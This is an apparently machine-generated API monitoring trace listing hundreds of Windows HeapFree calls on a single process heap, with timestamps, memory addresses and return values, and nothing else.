	[0048.978] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.980] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.085] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.087] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.089] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.090] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.092] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.094] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.094] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.094] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.097] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.099] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.099] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.102] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.104] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.107] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.108] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.108] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.108] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.116] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.117] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.128] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0049.308] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0049.309] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0049.309] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.310] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0049.310] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.311] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.824] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.824] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.825] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.833] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.836] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0049.837] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0049.837] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0049.837] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.842] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.842] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.847] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.847] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0049.847] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.966] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.971] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.018] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.019] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.019] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.019] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.019] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.019] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.019] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.022] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.026] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.028] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.032] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.032] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.032] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.032] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.033] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.035] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.440] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.441] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.441] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.442] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.783] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0051.783] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.784] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.784] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0051.839] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0051.844] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.844] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0051.850] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0051.852] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0051.852] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0051.876] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0051.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.895] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.895] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0051.896] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0051.897] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.898] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.898] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0052.504] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.504] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.649] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.649] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0052.669] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0052.669] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0052.673] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0052.674] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0052.695] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0052.696] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0052.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0052.699] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.699] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.707] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.708] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.708] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.709] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.711] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.713] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.713] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.715] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.716] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.742] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0052.743] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0052.743] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.743] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.745] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.978] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0052.978] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.980] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0052.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.983] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0052.983] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.987] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.987] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.988] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.988] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.989] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.990] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.990] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.991] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.991] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.991] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.996] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.996] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.998] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.000] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.000] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.002] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.002] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.003] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.003] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.004] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.004] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.005] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.005] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.006] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.006] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.006] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.008] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.009] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.009] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.009] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.010] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.010] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0053.010] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.010] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.014] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.014] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.015] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.015] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0053.015] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.015] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0053.036] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.036] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0053.079] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.079] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.079] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0053.079] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0053.080] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
